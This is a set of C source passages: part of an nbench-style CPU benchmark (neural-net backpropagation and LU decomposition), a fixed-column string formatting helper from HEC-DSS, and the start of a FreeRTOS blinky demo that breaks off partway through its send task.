printf("loops: %d\n", locnnetstruct->loops);
#endif
/*
** All's well if we get here. Do the test.
*/
accumtime=0L;
iterations=(double)0.0;
do {
/* randnum(3L); */ /* Gotta do this for Neural Net */
randnum((int32)3); /* Gotta do this for Neural Net */
accumtime+=DoNNetIteration(locnnetstruct->loops);
iterations+=(double)locnnetstruct->loops;
} while(TicksToSecs(accumtime)<locnnetstruct->request_secs);
printf("%lf\n", iterations);
/*
** Clean up, calculate results, and go home. Be sure to
** show that we don't have to rerun adjustment code.
*/
locnnetstruct->iterspersec=iterations / TicksToFracSecs(accumtime);
if(locnnetstruct->adjust==0)
locnnetstruct->adjust=1;
return;
}
/********************
** DoNNetIteration **
*********************
** Do a single iteration of the neural net benchmark.
** By iteration, we mean a "learning" pass.
*/
static ulong DoNNetIteration(ulong nloops)
{
long elapsed; /* Elapsed time */
int patt;
/*
** Run nloops learning cycles. Notice that, counted with
** the learning cycle is the weight randomization and
** zeroing of changes. This should reduce clock jitter,
** since we don't have to stop and start the clock for
** each iteration.
*/
elapsed = clock();
while(nloops--)
{
randomize_wts();
zero_changes();
iteration_count=1;
learned = F;
numpasses = 0;
while (learned == F)
{
for (patt=0; patt<numpats; patt++)
{
worst_error = 0.0; /* reset this every pass through data */
move_wt_changes(); /* move last pass's wt changes to momentum array */
do_forward_pass(patt);
do_back_pass(patt);
iteration_count++;
}
numpasses ++;
learned = check_out_error();
}
}
elapsed = clock() - elapsed;
#ifdef DEBUG
if (sgx_log) printf("elapsed: %ld\n", elapsed);
#endif
return elapsed;
}
/*************************
** do_mid_forward(patt) **
**************************
** Process the middle layer's forward pass
** The activation of middle layer's neurode is the weighted
** sum of the inputs from the input pattern, with sigmoid
** function applied to the inputs.
**/
static void do_mid_forward(int patt)
{
double sum;
int neurode, i;
for (neurode=0;neurode<MID_SIZE; neurode++)
{
sum = 0.0;
for (i=0; i<IN_SIZE; i++)
{ /* compute weighted sum of input signals */
sum += mid_wts[neurode][i]*in_pats[patt][i];
}
/*
** apply sigmoid function f(x) = 1/(1+exp(-x)) to weighted sum
*/
sum = 1.0/(1.0+exp(-sum));
mid_out[neurode] = sum;
}
return;
}
/*********************
** do_out_forward() **
**********************
** process the forward pass through the output layer
** The activation of the output layer is the weighted sum of
** the inputs (outputs from middle layer), modified by the
** sigmoid function.
**/
static void do_out_forward()
{
double sum;
int neurode, i;
for (neurode=0; neurode<OUT_SIZE; neurode++)
{
sum = 0.0;
for (i=0; i<MID_SIZE; i++)
{ /*
** compute weighted sum of input signals
** from middle layer
*/
sum += out_wts[neurode][i]*mid_out[i];
}
/*
** Apply f(x) = 1/(1+exp(-x)) to weighted input
*/
sum = 1.0/(1.0+exp(-sum));
out_out[neurode] = sum;
}
return;
}
/*************************
** display_output(patt) **
**************************
** Display the actual output vs. the desired output of the
** network.
** Once the training is complete, and the "learned" flag set
** to TRUE, then display_output sends its output to both
** the screen and to a text output file.
**
** NOTE: This routine has been disabled in the benchmark
** version. -- RG
**/
/*
void display_output(int patt)
{
int i;
fprintf(outfile,"\n Iteration # %d",iteration_count);
fprintf(outfile,"\n Desired Output: ");
for (i=0; i<OUT_SIZE; i++)
{
fprintf(outfile,"%6.3f ",out_pats[patt][i]);
}
fprintf(outfile,"\n Actual Output: ");
for (i=0; i<OUT_SIZE; i++)
{
fprintf(outfile,"%6.3f ",out_out[i]);
}
fprintf(outfile,"\n");
return;
}
*/
/**********************
** do_forward_pass() **
***********************
** control function for the forward pass through the network
** NOTE: I have disabled the call to display_output() in
** the benchmark version -- RG.
**/
static void do_forward_pass(int patt)
{
do_mid_forward(patt); /* process forward pass, middle layer */
do_out_forward(); /* process forward pass, output layer */
/* display_output(patt); ** display results of forward pass */
return;
}
/***********************
** do_out_error(patt) **
************************
** Compute the error for the output layer neurodes.
** This is simply Desired - Actual.
**/
static void do_out_error(int patt)
{
int neurode;
double error,tot_error, sum;
tot_error = 0.0;
sum = 0.0;
for (neurode=0; neurode<OUT_SIZE; neurode++)
{
out_error[neurode] = out_pats[patt][neurode] - out_out[neurode];
/*
** while we're here, also compute magnitude
** of total error and worst error in this pass.
** We use these to decide if we are done yet.
*/
error = out_error[neurode];
if (error <0.0)
{
sum += -error;
if (-error > tot_error)
tot_error = -error; /* worst error this pattern */
}
else
{
sum += error;
if (error > tot_error)
tot_error = error; /* worst error this pattern */
}
}
avg_out_error[patt] = sum/OUT_SIZE;
tot_out_error[patt] = tot_error;
return;
}
/***********************
** worst_pass_error() **
************************
** Find the worst and average error in the pass and save it
**/
static void worst_pass_error()
{
double error,sum;
int i;
error = 0.0;
sum = 0.0;
for (i=0; i<numpats; i++)
{
if (tot_out_error[i] > error) error = tot_out_error[i];
sum += avg_out_error[i];
}
worst_error = error;
average_error = sum/numpats;
return;
}
/*******************
** do_mid_error() **
********************
** Compute the error for the middle layer neurodes
** This is based on the output errors computed above.
** Note that the derivative of the sigmoid f(x) is
** f'(x) = f(x)(1 - f(x))
** Recall that f(x) is merely the output of the middle
** layer neurode on the forward pass.
**/
static void do_mid_error()
{
double sum;
int neurode, i;
for (neurode=0; neurode<MID_SIZE; neurode++)
{
sum = 0.0;
for (i=0; i<OUT_SIZE; i++)
sum += out_wts[i][neurode]*out_error[i];
/*
** apply the derivative of the sigmoid here
** Because of the choice of sigmoid f(I), the derivative
** of the sigmoid is f'(I) = f(I)(1 - f(I))
*/
mid_error[neurode] = mid_out[neurode]*(1-mid_out[neurode])*sum;
}
return;
}
/*********************
** adjust_out_wts() **
**********************
** Adjust the weights of the output layer. The error for
** the output layer has been previously propagated back to
** the middle layer.
** Use the Delta Rule with momentum term to adjust the weights.
**/
static void adjust_out_wts()
{
int weight, neurode;
double learn,delta,alph;
learn = BETA;
alph = ALPHA;
for (neurode=0; neurode<OUT_SIZE; neurode++)
{
for (weight=0; weight<MID_SIZE; weight++)
{
/* standard delta rule */
delta = learn * out_error[neurode] * mid_out[weight];
/* now the momentum term */
delta += alph * out_wt_change[neurode][weight];
out_wts[neurode][weight] += delta;
/* keep track of this pass's cum wt changes for next pass's momentum */
out_wt_cum_change[neurode][weight] += delta;
}
}
return;
}
/*************************
** adjust_mid_wts(patt) **
**************************
** Adjust the middle layer weights using the previously computed
** errors.
** We use the Generalized Delta Rule with momentum term
**/
static void adjust_mid_wts(int patt)
{
int weight, neurode;
double learn,alph,delta;
learn = BETA;
alph = ALPHA;
for (neurode=0; neurode<MID_SIZE; neurode++)
{
for (weight=0; weight<IN_SIZE; weight++)
{
/* first the basic delta rule */
delta = learn * mid_error[neurode] * in_pats[patt][weight];
/* with the momentum term */
delta += alph * mid_wt_change[neurode][weight];
mid_wts[neurode][weight] += delta;
/* keep track of this pass's cum wt changes for next pass's momentum */
mid_wt_cum_change[neurode][weight] += delta;
}
}
return;
}
/*******************
** do_back_pass() **
********************
** Process the backward propagation of error through network.
**/
void do_back_pass(int patt)
{
do_out_error(patt);
do_mid_error();
adjust_out_wts();
adjust_mid_wts(patt);
return;
}
/**********************
** move_wt_changes() **
***********************
** Move the weight changes accumulated last pass into the wt-change
** array for use by the momentum term in this pass. Also zero out
** the accumulating arrays after the move.
**/
static void move_wt_changes()
{
int i,j;
for (i = 0; i<MID_SIZE; i++)
for (j = 0; j<IN_SIZE; j++)
{
mid_wt_change[i][j] = mid_wt_cum_change[i][j];
/*
** Zero it out for next pass accumulation.
*/
mid_wt_cum_change[i][j] = 0.0;
}
for (i = 0; i<OUT_SIZE; i++)
for (j=0; j<MID_SIZE; j++)
{
out_wt_change[i][j] = out_wt_cum_change[i][j];
out_wt_cum_change[i][j] = 0.0;
}
return;
}
/**********************
** check_out_error() **
***********************
** Check to see if the error in the output layer is below
** MARGIN*OUT_SIZE for all output patterns. If so, then
** assume the network has learned acceptably well. This
** is simply an arbitrary measure of how well the network
** has learned -- many other standards are possible.
**/
static int check_out_error()
{
int result,i,error;
result = T;
error = F;
worst_pass_error(); /* identify the worst error in this pass */
for (i=0; i<numpats; i++)
{
/* printf("\n Error pattern %d: Worst: %8.3f; Average: %8.3f",
i+1,tot_out_error[i], avg_out_error[i]);
fprintf(outfile,
"\n Error pattern %d: Worst: %8.3f; Average: %8.3f",
i+1,tot_out_error[i]);
*/
if (worst_error >= STOP) result = F;
if (tot_out_error[i] >= 16.0) error = T;
}
if (error == T) result = ERR;
return(result);
}
/*******************
** zero_changes() **
********************
** Zero out all the wt change arrays
**/
static void zero_changes()
{
int i,j;
for (i = 0; i<MID_SIZE; i++)
{
for (j=0; j<IN_SIZE; j++)
{
mid_wt_change[i][j] = 0.0;
mid_wt_cum_change[i][j] = 0.0;
}
}
for (i = 0; i< OUT_SIZE; i++)
{
for (j=0; j<MID_SIZE; j++)
{
out_wt_change[i][j] = 0.0;
out_wt_cum_change[i][j] = 0.0;
}
}
return;
}
/********************
** randomize_wts() **
*********************
** Intialize the weights in the middle and output layers to
** random values between -0.25..+0.25
** Function rand() returns a value between 0 and 32767.
**
** NOTE: Had to make alterations to how the random numbers were
** created. -- RG.
**/
static void randomize_wts()
{
int neurode,i;
double value;
/*
** Following not used int benchmark version -- RG
**
** printf("\n Please enter a random number seed (1..32767): ");
** scanf("%d", &i);
** srand(i);
*/
for (neurode = 0; neurode<MID_SIZE; neurode++)
{
for(i=0; i<IN_SIZE; i++)
{
/* value=(double)abs_randwc(100000L); */
value=(double)abs_randwc((int32)100000);
value=value/(double)100000.0 - (double) 0.5;
mid_wts[neurode][i] = value/2;
}
}
for (neurode=0; neurode<OUT_SIZE; neurode++)
{
for(i=0; i<MID_SIZE; i++)
{
/* value=(double)abs_randwc(100000L); */
value=(double)abs_randwc((int32)100000);
value=value/(double)10000.0 - (double) 0.5;
out_wts[neurode][i] = value/2;
}
}
return;
}
/*********************
** read_data_file() **
**********************
** Read in the input data file and store the patterns in
** in_pats and out_pats.
** The format for the data file is as follows:
**
** line# data expected
** ----- ------------------------------
** 1 In-X-size,in-y-size,out-size
** 2 number of patterns in file
** 3 1st X row of 1st input pattern
** 4.. following rows of 1st input pattern pattern
** in-x+2 y-out pattern
** 1st X row of 2nd pattern
** etc.
**
** Each row of data is separated by commas or spaces.
** The data is expected to be ascii text corresponding to
** either a +1 or a 0.
**
** Sample input for a 1-pattern file (The comments to the
** right may NOT be in the file unless more sophisticated
** parsing of the input is done.):
**
** 5,7,8 input is 5x7 grid, output is 8 bits
** 1 one pattern in file
** 0,1,1,1,0 beginning of pattern for "O"
** 1,0,0,0,1
** 1,0,0,0,1
** 1,0,0,0,1
** 1,0,0,0,1
** 1,0,0,0,0
** 0,1,1,1,0
** 0,1,0,0,1,1,1,1 ASCII code for "O" -- 0100 1111
**
** Clearly, this simple scheme can be expanded or enhanced
** any way you like.
**
** Returns -1 if any file error occurred, otherwise 0.
**/
#include "data.inc"
static int read_data_file()
{
int xinsize,yinsize,youtsize;
int patt, element, i, row;
int val1,val2,val3,val4,val5,val6,val7,val8;
get_xyinout(&xinsize,&yinsize,&youtsize);
get_numpats(&numpats);
if (numpats > MAXPATS)
numpats = MAXPATS;
for (patt=0; patt<numpats; patt++)
{
element = 0;
for (row = 0; row<yinsize; row++)
{
get_val5(&val1, &val2, &val3, &val4, &val5);
element=row*xinsize;
in_pats[patt][element] = (double) val1; element++;
in_pats[patt][element] = (double) val2; element++;
in_pats[patt][element] = (double) val3; element++;
in_pats[patt][element] = (double) val4; element++;
in_pats[patt][element] = (double) val5; element++;
}
for (i=0;i<IN_SIZE; i++)
{
if (in_pats[patt][i] >= 0.9)
in_pats[patt][i] = 0.9;
if (in_pats[patt][i] <= 0.1)
in_pats[patt][i] = 0.1;
}
element = 0;
get_val7(&val1, &val2, &val3, &val4, &val5, &val6, &val7, &val8);
out_pats[patt][element] = (double) val1; element++;
out_pats[patt][element] = (double) val2; element++;
out_pats[patt][element] = (double) val3; element++;
out_pats[patt][element] = (double) val4; element++;
out_pats[patt][element] = (double) val5; element++;
out_pats[patt][element] = (double) val6; element++;
out_pats[patt][element] = (double) val7; element++;
out_pats[patt][element] = (double) val8; element++;
}
val_ndx = 0;
return(0);
}
/*********************
** initialize_net() **
**********************
** Do all the initialization stuff before beginning
*/
/*
static int initialize_net()
{
int err_code;
randomize_wts();
zero_changes();
err_code = read_data_file();
iteration_count = 1;
return(err_code);
}
*/
/**********************
** display_mid_wts() **
***********************
** Display the weights on the middle layer neurodes
** NOTE: This routine is not used in the benchmark
** test -- RG
**/
/* static void display_mid_wts()
{
int neurode, weight, row, col;
fprintf(outfile,"\n Weights of Middle Layer neurodes:");
for (neurode=0; neurode<MID_SIZE; neurode++)
{
fprintf(outfile,"\n Mid Neurode # %d",neurode);
for (row=0; row<IN_Y_SIZE; row++)
{
fprintf(outfile,"\n ");
for (col=0; col<IN_X_SIZE; col++)
{
weight = IN_X_SIZE * row + col;
fprintf(outfile," %8.3f ", mid_wts[neurode][weight]);
}
}
}
return;
}
*/
/**********************
** display_out_wts() **
***********************
** Display the weights on the output layer neurodes
** NOTE: This code is not used in the benchmark
** test -- RG
*/
/* void display_out_wts()
{
int neurode, weight;
fprintf(outfile,"\n Weights of Output Layer neurodes:");
for (neurode=0; neurode<OUT_SIZE; neurode++)
{
fprintf(outfile,"\n Out Neurode # %d \n",neurode);
for (weight=0; weight<MID_SIZE; weight++)
{
fprintf(outfile," %8.3f ", out_wts[neurode][weight]);
}
}
return;
}
*/
/***********************
** LU DECOMPOSITION **
** (Linear Equations) **
************************
** These routines come from "Numerical Recipes in Pascal".
** Note that, as in the assignment algorithm, though we
** separately define LUARRAYROWS and LUARRAYCOLS, the two
** must be the same value (this routine depends on a square
** matrix).
*/
#endif
#ifdef N10
/*********
** DoLU **
**********
** Perform the LU decomposition benchmark.
*/
void DoLU(void)
{
LUStruct *loclustruct; /* Local pointer to global data */
int systemerror;
fardouble *a;
fardouble *b;
fardouble *abase;
fardouble *bbase;
LUdblptr ptra;
int n;
int i;
ulong accumtime;
double iterations;
/*
** Link to global data
*/
loclustruct=&global_lustruct;
/*
** Our first step is to build a "solvable" problem. This
** will become the "seed" set that all others will be
** derived from. (I.E., we'll simply copy these arrays
** into the others.
*/
a=(fardouble *)malloc(sizeof(double) * LUARRAYCOLS * LUARRAYROWS);
b=(fardouble *)malloc(sizeof(double) * LUARRAYROWS);
n=LUARRAYROWS;
/*
** We need to allocate a temp vector that is used by the LU
** algorithm. This removes the allocation routine from the
** timing.
*/
LUtempvv=(fardouble *)malloc(sizeof(double)*LUARRAYROWS);
/*
** Build a problem to be solved.
*/
ptra.ptrs.p=a; /* Gotta coerce linear array to 2D array */
build_problem(*ptra.ptrs.ap,n,b);
loclustruct->numarrays=1;
/*
** Don't need to adjust -- just allocate the proper
** number of arrays and proceed.
*/
abase=(fardouble *)malloc(sizeof(double) *
LUARRAYCOLS*LUARRAYROWS*loclustruct->numarrays);
bbase=(fardouble *)malloc(sizeof(double) *
LUARRAYROWS*loclustruct->numarrays);
#ifdef DEBUG
printf("arraysize: %d\n", loclustruct->numarrays);
#endif
/*
** All's well if we get here. Do the test.
*/
accumtime=0L;
iterations=(double)0.0;
do {
accumtime+=DoLUIteration(a,b,abase,bbase,
loclustruct->numarrays);
iterations+=(double)loclustruct->numarrays;
} while(TicksToSecs(accumtime)<loclustruct->request_secs);
printf("%lf\n", iterations);
/*
** Clean up, calculate results, and go home. Be sure to
** show that we don't have to rerun adjustment code.
*/
loclustruct->iterspersec=iterations / TicksToFracSecs(accumtime);
if(loclustruct->adjust==0)
loclustruct->adjust=1;
LUFreeMem(a,b,abase,bbase);
return;
}
/**************
** LUFreeMem **
***************
** Release memory associated with LU benchmark.
*/
static void LUFreeMem(fardouble *a, fardouble *b,
fardouble *abase,fardouble *bbase)
{
free((farvoid *)a);
free((farvoid *)b);
free((farvoid *)LUtempvv);
if(abase!=(fardouble *)NULL) free((farvoid *)abase);
if(bbase!=(fardouble *)NULL) free((farvoid *)bbase);
return;
}
/******************
** DoLUIteration **
*******************
** Perform an iteration of the LU decomposition benchmark.
** An iteration refers to the repeated solution of several
** identical matrices.
*/
static ulong DoLUIteration(fardouble *a,fardouble *b,
fardouble *abase, fardouble *bbase,
ulong numarrays)
{
fardouble *locabase;
fardouble *locbbase;
LUdblptr ptra; /* For converting ptr to 2D array */
long elapsed;
ulong j,i; /* Indexes */
/*
** Move the seed arrays (a & b) into the destination
** arrays;
*/
for(j=0;j<numarrays;j++)
{ locabase=abase+j*LUARRAYROWS*LUARRAYCOLS;
locbbase=bbase+j*LUARRAYROWS;
for(i=0;i<LUARRAYROWS*LUARRAYCOLS;i++)
*(locabase+i)=*(a+i);
for(i=0;i<LUARRAYROWS;i++)
*(locbbase+i)=*(b+i);
}
/*
** Do test...begin timing.
*/
elapsed = clock();
for(i=0;i<numarrays;i++)
{ locabase=abase+i*LUARRAYROWS*LUARRAYCOLS;
locbbase=bbase+i*LUARRAYROWS;
ptra.ptrs.p=locabase;
lusolve(*ptra.ptrs.ap,LUARRAYROWS,locbbase);
}
elapsed = clock() - elapsed;
#ifdef DEBUG
if (sgx_log) printf("elapsed: %ld\n", elapsed);
#endif
return elapsed;
}
/******************
** build_problem **
*******************
** Constructs a solvable set of linear equations. It does this by
** creating an identity matrix, then loading the solution vector
** with random numbers. After that, the identity matrix and
** solution vector are randomly "scrambled". Scrambling is
** done by (a) randomly selecting a row and multiplying that
** row by a random number and (b) adding one randomly-selected
** row to another.
*/
static void build_problem(double a[][LUARRAYCOLS],
int n,
double b[LUARRAYROWS])
{
long i,j,k,k1; /* Indexes */
double rcon; /* Random constant */
/*
** Reset random number generator
*/
/* randnum(13L); */
randnum((int32)13);
/*
** Build an identity matrix.
** We'll also use this as a chance to load the solution
** vector.
*/
for(i=0;i<n;i++)
{ /* b[i]=(double)(abs_randwc(100L)+1L); */
b[i]=(double)(abs_randwc((int32)100)+(int32)1);
for(j=0;j<n;j++)
if(i==j)
/* a[i][j]=(double)(abs_randwc(1000L)+1L); */
a[i][j]=(double)(abs_randwc((int32)1000)+(int32)1);
else
a[i][j]=(double)0.0;
}
/*
** Scramble. Do this 8n times. See comment above for
** a description of the scrambling process.
*/
for(i=0;i<8*n;i++)
{
/*
** Pick a row and a random constant. Multiply
** all elements in the row by the constant.
*/
/* k=abs_randwc((long)n);
rcon=(double)(abs_randwc(20L)+1L);
for(j=0;j<n;j++)
a[k][j]=a[k][j]*rcon;
b[k]=b[k]*rcon;
*/
/*
** Pick two random rows and add second to
** first. Note that we also occasionally multiply
** by minus 1 so that we get a subtraction operation.
*/
/* k=abs_randwc((long)n); */
/* k1=abs_randwc((long)n); */
k=abs_randwc((int32)n);
k1=abs_randwc((int32)n);
if(k!=k1)
{
if(k<k1) rcon=(double)1.0;
else rcon=(double)-1.0;
for(j=0;j<n;j++)
a[k][j]+=a[k1][j]*rcon;;
b[k]+=b[k1]*rcon;
}
}
return;
}
/***********
** ludcmp **
************
** From the procedure of the same name in "Numerical Recipes in Pascal",
** by Press, Flannery, Tukolsky, and Vetterling.
** Given an nxn matrix a[], this routine replaces it by the LU
** decomposition of a rowwise permutation of itself. a[] and n
** are input. a[] is output, modified as follows:
** -- --
** | b(1,1) b(1,2) b(1,3)... |
** | a(2,1) b(2,2) b(2,3)... |
** | a(3,1) a(3,2) b(3,3)... |
** | a(4,1) a(4,2) a(4,3)... |
** | ... |
** -- --
**
** Where the b(i,j) elements form the upper triangular matrix of the
** LU decomposition, and the a(i,j) elements form the lower triangular
** elements. The LU decomposition is calculated so that we don't
** need to store the a(i,i) elements (which would have laid along the
** diagonal and would have all been 1).
**
** indx[] is an output vector that records the row permutation
** effected by the partial pivoting; d is output as +/-1 depending
** on whether the number of row interchanges was even or odd,
** respectively.
** Returns 0 if matrix singular, else returns 1.
*/
static int ludcmp(double a[][LUARRAYCOLS],
int n,
int indx[],
int *d)
{
double big; /* Holds largest element value */
double sum;
double dum; /* Holds dummy value */
int i,j,k; /* Indexes */
int imax=0; /* Holds max index value */
double tiny; /* A really small number */
tiny=(double)1.0e-20;
*d=1; /* No interchanges yet */
for(i=0;i<n;i++)
{ big=(double)0.0;
for(j=0;j<n;j++)
if((double)fabs(a[i][j]) > big)
big=fabs(a[i][j]);
/* Bail out on singular matrix */
if(big==(double)0.0) return(0);
LUtempvv[i]=1.0/big;
}
/*
** Crout's algorithm...loop over columns.
*/
for(j=0;j<n;j++)
{ if(j!=0)
for(i=0;i<j;i++)
{ sum=a[i][j];
if(i!=0)
for(k=0;k<i;k++)
sum-=(a[i][k]*a[k][j]);
a[i][j]=sum;
}
big=(double)0.0;
for(i=j;i<n;i++)
{ sum=a[i][j];
if(j!=0)
for(k=0;k<j;k++)
sum-=a[i][k]*a[k][j];
a[i][j]=sum;
dum=LUtempvv[i]*fabs(sum);
if(dum>=big)
{ big=dum;
imax=i;
}
}
if(j!=imax) /* Interchange rows if necessary */
{ for(k=0;k<n;k++)
{ dum=a[imax][k];
a[imax][k]=a[j][k];
a[j][k]=dum;
}
*d=-*d; /* Change parity of d */
dum=LUtempvv[imax];
LUtempvv[imax]=LUtempvv[j]; /* Don't forget scale factor */
LUtempvv[j]=dum;
}
indx[j]=imax;
/*
** If the pivot element is zero, the matrix is singular
** (at least as far as the precision of the machine
** is concerned.) We'll take the original author's
** recommendation and replace 0.0 with "tiny".
*/
if(a[j][j]==(double)0.0)
a[j][j]=tiny;
if(j!=(n-1))
{ dum=1.0/a[j][j];
for(i=j+1;i<n;i++)
a[i][j]=a[i][j]*dum;
}
}
return(1);
}
/***********
** lubksb **
************
** Also from "Numerical Recipes in Pascal".
** This routine solves the set of n linear equations A X = B.
** Here, a[][] is input, not as the matrix A, but as its
** LU decomposition, created by the routine ludcmp().
** Indx[] is input as the permutation vector returned by ludcmp().
** b[] is input as the right-hand side an returns the
** solution vector X.
** a[], n, and indx are not modified by this routine and
** can be left in place for different values of b[].
** This routine takes into account the possibility that b will
** begin with many zero elements, so it is efficient for use in
** matrix inversion.
*/
static void lubksb( double a[][LUARRAYCOLS],
int n,
int indx[LUARRAYROWS],
double b[LUARRAYROWS])
{
int i,j; /* Indexes */
int ip; /* "pointer" into indx */
int ii;
double sum;
/*
** When ii is set to a positive value, it will become
** the index of the first nonvanishing element of b[].
** We now do the forward substitution. The only wrinkle
** is to unscramble the permutation as we go.
*/
ii=-1;
for(i=0;i<n;i++)
{ ip=indx[i];
sum=b[ip];
b[ip]=b[i];
if(ii!=-1)
for(j=ii;j<i;j++)
sum=sum-a[i][j]*b[j];
else
/*
** If a nonzero element is encountered, we have
** to do the sums in the loop above.
*/
if(sum!=(double)0.0)
ii=i;
b[i]=sum;
}
/*
** Do backsubstitution
*/
for(i=(n-1);i>=0;i--)
{
sum=b[i];
if(i!=(n-1))
for(j=(i+1);j<n;j++)
sum=sum-a[i][j]*b[j];
b[i]=sum/a[i][i];
}
return;
}
/************
** lusolve **
*************
** Solve a linear set of equations: A x = b
** Original matrix A will be destroyed by this operation.
** Returns 0 if matrix is singular, 1 otherwise.
*/
static int lusolve(double a[][LUARRAYCOLS],
int n,
double b[LUARRAYROWS])
{
int indx[LUARRAYROWS];
int d;
if(ludcmp(a,n,indx,&d)==0) return(0);
/* Matrix not singular -- proceed */
lubksb(a,n,indx,b);
return(1);
}
#endif
|
583568.c | #include <string.h>
#include "hecdssInternal.h"
int toFixedFields(char *cstring, size_t sizeofCstring, char **fields, int *fieldLengths, int nfields,
int *columnStart, int *boolLeftJustify)
{
int i;
int j;
int count;
int len;
int diff;
int nblanks;
char *cfield;
count = 0;
if(columnStart[0] > 0) {
for (i=0; i<columnStart[0]; i++) {
cstring[count++] = ' ';
if ((count-1) == (int)sizeofCstring) {
cstring[count-1] = '\0';
return count;
}
}
}
for (j=0; j<nfields; j++) {
if (count < columnStart[j]) {
diff = columnStart[j] - count;
for (i=0; i<diff; i++) {
cstring[count++] = ' ';
if ((count-1) == (int)sizeofCstring) {
cstring[count-1] = '\0';
return count;
}
}
}
cfield = fields[j];
len = fieldLengths[j];
if (j < (nfields-1)) {
diff = columnStart[j+1] - columnStart[j];
}
else {
diff = len;
}
if (len > diff) {
len = diff;
}
if (!boolLeftJustify[j]) {
nblanks = diff - len;
for (i=0; i<nblanks; i++) {
cstring[count++] = ' ';
if ((count-1) == (int)sizeofCstring) {
cstring[count-1] = '\0';
return count;
}
}
}
for (i=0; i<len; i++) {
cstring[count++] = cfield[i];
if ((count-1) == (int)sizeofCstring) {
cstring[count-1] = '\0';
return count;
}
}
}
cstring[count++] = '\0';
return count;
}
|
938623.c | /*
* FreeRTOS V202011.00
* Copyright (C) 2020 Amazon.com, Inc. or its affiliates. All Rights Reserved.
*
* Permission is hereby granted, free of charge, to any person obtaining a copy of
* this software and associated documentation files (the "Software"), to deal in
* the Software without restriction, including without limitation the rights to
* use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
* the Software, and to permit persons to whom the Software is furnished to do so,
* subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
* FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
* COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
* IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
* CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*
* http://www.FreeRTOS.org
* http://aws.amazon.com/freertos
*
* 1 tab == 4 spaces!
*/
/******************************************************************************
* NOTE 1: This project provides two demo applications. A simple blinky style
* project, and a more comprehensive test and demo application. The
* mainCREATE_SIMPLE_BLINKY_DEMO_ONLY setting in main.c is used to select
* between the two. See the notes on using mainCREATE_SIMPLE_BLINKY_DEMO_ONLY
* in main.c. This file implements the simply blinky style version.
*
* NOTE 2: This file only contains the source code that is specific to the
* basic demo. Generic functions, such FreeRTOS hook functions, and functions
* required to configure the hardware, are defined in main.c.
******************************************************************************
*
* main_blinky() creates one queue, and two tasks. It then starts the
* scheduler.
*
* The Queue Send Task:
* The queue send task is implemented by the prvQueueSendTask() function in
* this file. prvQueueSendTask() sits in a loop that causes it to repeatedly
* block for 200 milliseconds, before sending the value 100 to the queue that
* was created within main_blinky(). Once the value is sent, the task loops
* back around to block for another 200 milliseconds.
*
* The Queue Receive Task:
* The queue receive task is implemented by the prvQueueReceiveTask() function
* in this file. prvQueueReceiveTask() sits in a loop where it repeatedly
* blocks on attempts to read data from the queue that was created within
* main_blinky(). When data is received, the task checks the value of the
* data, and if the value equals the expected 100, toggles the LED. The 'block
* time' parameter passed to the queue receive function specifies that the
* task should be held in the Blocked state indefinitely to wait for data to
* be available on the queue. The queue receive task will only leave the
* Blocked state when the queue send task writes to the queue. As the queue
* send task writes to the queue every 200 milliseconds, the queue receive
* task leaves the Blocked state every 200 milliseconds, and therefore toggles
* the LED every 200 milliseconds.
*/
/* Standard includes. */
#include <stdio.h>
/* Kernel includes. */
#include "FreeRTOS.h"
#include "task.h"
#include "semphr.h"
/* Priorities at which the tasks are created. */
#define mainQUEUE_RECEIVE_TASK_PRIORITY ( tskIDLE_PRIORITY + 2 )
#define mainQUEUE_SEND_TASK_PRIORITY ( tskIDLE_PRIORITY + 1 )
/* The rate at which data is sent to the queue. The 200ms value is converted
to ticks using the portTICK_PERIOD_MS constant. */
#define mainQUEUE_SEND_FREQUENCY_MS ( 200 / portTICK_PERIOD_MS )
/* The number of items the queue can hold. This is 1 as the receive task
will remove items as they are added, meaning the send task should always find
the queue empty. */
#define mainQUEUE_LENGTH ( 1 )
/* Values passed to the two tasks just to check the task parameter
functionality. */
#define mainQUEUE_SEND_PARAMETER ( 0x1111UL )
#define mainQUEUE_RECEIVE_PARAMETER ( 0x22UL )
/*-----------------------------------------------------------*/
/*
* The tasks as described in the comments at the top of this file.
*/
static void prvQueueReceiveTask( void *pvParameters );
static void prvQueueSendTask( void *pvParameters );
/*
* Called by main() to create the simply blinky style application if
* mainCREATE_SIMPLE_BLINKY_DEMO_ONLY is set to 1.
*/
void main_blinky( void );
/*-----------------------------------------------------------*/
/* The queue used by both tasks. */
static QueueHandle_t xQueue = NULL;
/*-----------------------------------------------------------*/
void main_blinky( void )
{
/* Create the queue. */
xQueue = xQueueCreate( mainQUEUE_LENGTH, sizeof( unsigned long ) );
if( xQueue != NULL )
{
/* Start the two tasks as described in the comments at the top of this
file. */
xTaskCreate( prvQueueReceiveTask, /* The function that implements the task. */
"Rx", /* The text name assigned to the task - for debug only as it is not used by the kernel. */
configMINIMAL_STACK_SIZE, /* The size of the stack to allocate to the task. */
( void * ) mainQUEUE_RECEIVE_PARAMETER, /* The parameter passed to the task - just to check the functionality. */
mainQUEUE_RECEIVE_TASK_PRIORITY, /* The priority assigned to the task. */
NULL ); /* The task handle is not required, so NULL is passed. */
xTaskCreate( prvQueueSendTask, "TX", configMINIMAL_STACK_SIZE, ( void * ) mainQUEUE_SEND_PARAMETER, mainQUEUE_SEND_TASK_PRIORITY, NULL );
/* Start the tasks and timer running. */
vTaskStartScheduler();
}
/* If all is well, the scheduler will now be running, and the following
line will never be reached. If the following line does execute, then
there was insufficient FreeRTOS heap memory available for the idle and/or
timer tasks to be created. See the memory management section on the
FreeRTOS web site for more details. */
for( ;; )
{
__asm volatile( "NOP" );
}
}
/*-----------------------------------------------------------*/
static void prvQueueSendTask( void *pvParameters )
{
TickType_t xNextWakeTime;
const unsigned long ulValueToSend = 100UL;
/* Check the task parameter is as expected. */
configASSERT( ( ( unsigned long ) pvParameters ) == mainQUEUE_SEND_PARAMETER );
